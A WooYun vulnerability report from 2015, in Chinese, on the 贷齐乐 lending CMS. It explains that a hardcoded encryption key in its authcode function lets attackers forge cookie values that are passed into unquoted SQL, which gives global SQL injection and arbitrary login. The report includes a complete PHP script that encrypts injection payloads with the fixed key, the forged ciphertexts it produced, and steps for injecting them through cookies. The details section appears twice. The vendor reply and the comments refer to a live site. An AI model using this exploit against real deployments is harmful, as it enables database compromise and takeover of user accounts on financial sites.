当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(16) 关注此漏洞

缺陷编号: WooYun-2015-135449

漏洞标题: 贷齐乐加密问题导致全局注入\任意用户登录(无视gpc/waf)

相关厂商: chinaanhe.com

漏洞作者: Xser

提交时间: 2015-08-20 10:33

公开时间: 2015-11-18 10:42

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

2人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-20: 细节已通知厂商并且等待厂商处理中
2015-08-20: 厂商已经确认,细节仅向厂商公开
2015-08-23: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-10-14: 细节向核心白帽子及相关领域专家公开
2015-10-24: 细节向普通白帽子公开
2015-11-03: 细节向实习白帽子公开
2015-11-18: 细节向公众公开

简要描述:

贷齐乐加密问题导致全局注入\任意用户登录(无视gpc/waf),分分钟秒站

详细说明:

出现在core/function.inc.php中

code 区域
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
// 动态密匙长度,相同的明文会生成不同密文就是依靠动态密匙
$ckey_length = 4;
// 密匙
$key = md5($key ? $key : "dw10c20m05w18");
// 密匙a会参与加解密
$keya = md5(substr($key, 0, 16));
// 密匙b会用来做数据完整性验证
$keyb = md5(substr($key, 16, 16));
// 密匙c用于变化生成的密文
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
// 参与运算的密匙
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
// 明文,前10位用来保存时间戳,解密时验证数据有效性,10到26位用来保存$keyb(密匙b),解密时会通过这个密匙验证数据完整性
// 如果是解码的话,会从第$ckey_length位开始,因为密文前$ckey_length位保存 动态密匙,以保证解密正确
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();

// 产生密匙簿
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}

// 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上对并不会增加密文的强度
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

// 核心加解密部分
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
// 从密匙簿得出密匙进行异或,再转成字符
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}


if($operation == 'DECODE') {
// substr($result, 0, 10) == 0 验证数据有效性
// substr($result, 0, 10) - time() > 0 验证数据有效性
// substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16) 验证数据完整性
// 验证数据有效性,请看未加密明文的格式
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
// 把动态密匙保存在密文里,这也是为什么同样的明文,生产不同密文后能解密的原因
// 因为加密后的密文可能是一些特殊字符,复制过程可能会丢失,所以用base64编码
return $keyc.str_replace('=', '', base64_encode($result));
}
}





由于系统给了加解密的方式,我只要拿到密文就可以构造注入了,由于加密后无视所有waf



我们来找一处试试



查看用户那里



code 区域
public static function GetOne($data = array()){
global $mysql;
$user_id = isset($data['user_id'])?$data['user_id']:"";
$username = isset($data['username'])?$data['username']:"";
$password = isset($data['password'])?$data['password']:"";
$email = isset($data['email'])?$data['email']:"";
$type_id = isset($data['type_id'])?$data['type_id']:"";
$sql = "CREATE TABLE IF NOT EXISTS `{user_cache}` (
`user_id` int(11) NOT NULL DEFAULT '0')";
$mysql ->db_query($sql);
if ($user_id == "" && $username == "") return self::ERROR;
$sql = "select p2.name as typename,p2.type,p3.*,p4.*,p5.*,p1.* from `{user}` as p1
left join `{user_type}` as p2 on p1.type_id = p2.type_id
left join `{user_cache}` as p3 on p3.user_id = p1.user_id
left join `{account}` as p4 on p4.user_id = p1.user_id
left join `{userinfo}` as p5 on p5.user_id = p1.user_id
where 1=1 ";
if ($user_id!=""){
$sql .= " and p1.user_id = $user_id";
}

if ($password!=""){
$sql .= " and p1.password = '".md5($password)."'";
}

if ($username!=""){
$sql .= " and p1.username = '$username'";
}

if ($email!=""){
$sql .= " and p1.email = '$email'";
}

if ($type_id!=""){
$sql .= " and p1.type_id = '$type_id'";
}
return $mysql->db_fetch_array($sql);
}





可以看到user_id没有单引号包含,就算包含也没所谓,反正无视gpc和waf

code 区域
$sql .= " and p1.user_id = $user_id";





脚本来构造下,因为密钥是固定的

code 区域
<?php 
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
// 动态密匙长度,相同的明文会生成不同密文就是依靠动态密匙
$ckey_length = 4;
// 密匙
$key = md5($key ? $key : "dw10c20m05w18");
// 密匙a会参与加解密
$keya = md5(substr($key, 0, 16));
// 密匙b会用来做数据完整性验证
$keyb = md5(substr($key, 16, 16));
// 密匙c用于变化生成的密文
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
// 参与运算的密匙
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
// 明文,前10位用来保存时间戳,解密时验证数据有效性,10到26位用来保存$keyb(密匙b),解密时会通过这个密匙验证数据完整性
// 如果是解码的话,会从第$ckey_length位开始,因为密文前$ckey_length位保存 动态密匙,以保证解密正确
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();

// 产生密匙簿
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}

// 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上对并不会增加密文的强度
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

// 核心加解密部分
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
// 从密匙簿得出密匙进行异或,再转成字符
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}


if($operation == 'DECODE') {
// substr($result, 0, 10) == 0 验证数据有效性
// substr($result, 0, 10) - time() > 0 验证数据有效性
// substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16) 验证数据完整性
// 验证数据有效性,请看未加密明文的格式
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
// 把动态密匙保存在密文里,这也是为什么同样的明文,生产不同密文后能解密的原因
// 因为加密后的密文可能是一些特殊字符,复制过程可能会丢失,所以用base64编码
return $keyc.str_replace('=', '', base64_encode($result));
}
}
$id="1'";
$id = urldecode($id);
$data = explode(",",authcode(trim($id),"ENCODE"));
var_dump($data);
?>





QQ截图20150820001142.jpg





838cOrPDhhyriQoFaRRiPqbbAYSTtouOtn7WvPp2rw



带入cookie看看



QQ截图20150820001246.jpg





成功带入单引号,我们试试and 1=1(原谅我不会写exp这个别名语句)



QQ截图20150820002402.jpg





构造得出b593ULDqUXh/Qhm0YL6mHaHkdvIGOh7C7aqpfK5LIMo2DSlPV2or



带入成功

QQ截图20150820002348.jpg







分析就到这里了

漏洞证明:

出现在core/function.inc.php中

code 区域
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
// 动态密匙长度,相同的明文会生成不同密文就是依靠动态密匙
$ckey_length = 4;
// 密匙
$key = md5($key ? $key : "dw10c20m05w18");
// 密匙a会参与加解密
$keya = md5(substr($key, 0, 16));
// 密匙b会用来做数据完整性验证
$keyb = md5(substr($key, 16, 16));
// 密匙c用于变化生成的密文
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
// 参与运算的密匙
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
// 明文,前10位用来保存时间戳,解密时验证数据有效性,10到26位用来保存$keyb(密匙b),解密时会通过这个密匙验证数据完整性
// 如果是解码的话,会从第$ckey_length位开始,因为密文前$ckey_length位保存 动态密匙,以保证解密正确
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();

// 产生密匙簿
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}

// 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上对并不会增加密文的强度
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

// 核心加解密部分
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
// 从密匙簿得出密匙进行异或,再转成字符
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}


if($operation == 'DECODE') {
// substr($result, 0, 10) == 0 验证数据有效性
// substr($result, 0, 10) - time() > 0 验证数据有效性
// substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16) 验证数据完整性
// 验证数据有效性,请看未加密明文的格式
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
// 把动态密匙保存在密文里,这也是为什么同样的明文,生产不同密文后能解密的原因
// 因为加密后的密文可能是一些特殊字符,复制过程可能会丢失,所以用base64编码
return $keyc.str_replace('=', '', base64_encode($result));
}
}





由于系统给了加解密的方式,我只要拿到密文就可以构造注入了,由于加密后无视所有waf



我们来找一处试试



查看用户那里



code 区域
public static function GetOne($data = array()){
global $mysql;
$user_id = isset($data['user_id'])?$data['user_id']:"";
$username = isset($data['username'])?$data['username']:"";
$password = isset($data['password'])?$data['password']:"";
$email = isset($data['email'])?$data['email']:"";
$type_id = isset($data['type_id'])?$data['type_id']:"";
$sql = "CREATE TABLE IF NOT EXISTS `{user_cache}` (
`user_id` int(11) NOT NULL DEFAULT '0')";
$mysql ->db_query($sql);
if ($user_id == "" && $username == "") return self::ERROR;
$sql = "select p2.name as typename,p2.type,p3.*,p4.*,p5.*,p1.* from `{user}` as p1
left join `{user_type}` as p2 on p1.type_id = p2.type_id
left join `{user_cache}` as p3 on p3.user_id = p1.user_id
left join `{account}` as p4 on p4.user_id = p1.user_id
left join `{userinfo}` as p5 on p5.user_id = p1.user_id
where 1=1 ";
if ($user_id!=""){
$sql .= " and p1.user_id = $user_id";
}

if ($password!=""){
$sql .= " and p1.password = '".md5($password)."'";
}

if ($username!=""){
$sql .= " and p1.username = '$username'";
}

if ($email!=""){
$sql .= " and p1.email = '$email'";
}

if ($type_id!=""){
$sql .= " and p1.type_id = '$type_id'";
}
return $mysql->db_fetch_array($sql);
}





可以看到user_id没有单引号包含,就算包含也没所谓,反正无视gpc和waf

code 区域
$sql .= " and p1.user_id = $user_id";





脚本来构造下,因为密钥是固定的

code 区域
<?php 
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
// 动态密匙长度,相同的明文会生成不同密文就是依靠动态密匙
$ckey_length = 4;
// 密匙
$key = md5($key ? $key : "dw10c20m05w18");
// 密匙a会参与加解密
$keya = md5(substr($key, 0, 16));
// 密匙b会用来做数据完整性验证
$keyb = md5(substr($key, 16, 16));
// 密匙c用于变化生成的密文
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
// 参与运算的密匙
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
// 明文,前10位用来保存时间戳,解密时验证数据有效性,10到26位用来保存$keyb(密匙b),解密时会通过这个密匙验证数据完整性
// 如果是解码的话,会从第$ckey_length位开始,因为密文前$ckey_length位保存 动态密匙,以保证解密正确
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();

// 产生密匙簿
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}

// 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上对并不会增加密文的强度
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

// 核心加解密部分
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
// 从密匙簿得出密匙进行异或,再转成字符
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}


if($operation == 'DECODE') {
// substr($result, 0, 10) == 0 验证数据有效性
// substr($result, 0, 10) - time() > 0 验证数据有效性
// substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16) 验证数据完整性
// 验证数据有效性,请看未加密明文的格式
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
// 把动态密匙保存在密文里,这也是为什么同样的明文,生产不同密文后能解密的原因
// 因为加密后的密文可能是一些特殊字符,复制过程可能会丢失,所以用base64编码
return $keyc.str_replace('=', '', base64_encode($result));
}
}
$id="1'";
$id = urldecode($id);
$data = explode(",",authcode(trim($id),"ENCODE"));
var_dump($data);
?>





QQ截图20150820001142.jpg





838cOrPDhhyriQoFaRRiPqbbAYSTtouOtn7WvPp2rw



带入cookie看看



QQ截图20150820001246.jpg





成功带入单引号,我们试试and 1=1(原谅我不会写exp这个别名语句)



QQ截图20150820002402.jpg





构造得出b593ULDqUXh/Qhm0YL6mHaHkdvIGOh7C7aqpfK5LIMo2DSlPV2or



带入成功

QQ截图20150820002348.jpg







分析就到这里了

修复方案:

过滤

版权声明:转载请注明来源 Xser@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-08-20 10:41

厂商回复:

http:/// 在这个站上试试吧,读读代码断章取义没什么意思的

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-08-20 10:53 | %230CC ( 路人 | Rank:6 漏洞数:2 | 溜溜)
    2

    http:/// 这是个神马站

  2. 2015-08-20 12:01 | 继续沉默 ( 实习白帽子 | Rank:62 漏洞数:9 | 好好学习,天天向上)
    0

    说的应该是这个网站www点nbdai0574点com/

  3. 2015-08-21 11:24 | %230CC ( 路人 | Rank:6 漏洞数:2 | 溜溜)
    0

    这个无视gpc/waf 感觉更有意思 MAKE

登录后才能发表评论,请先 登录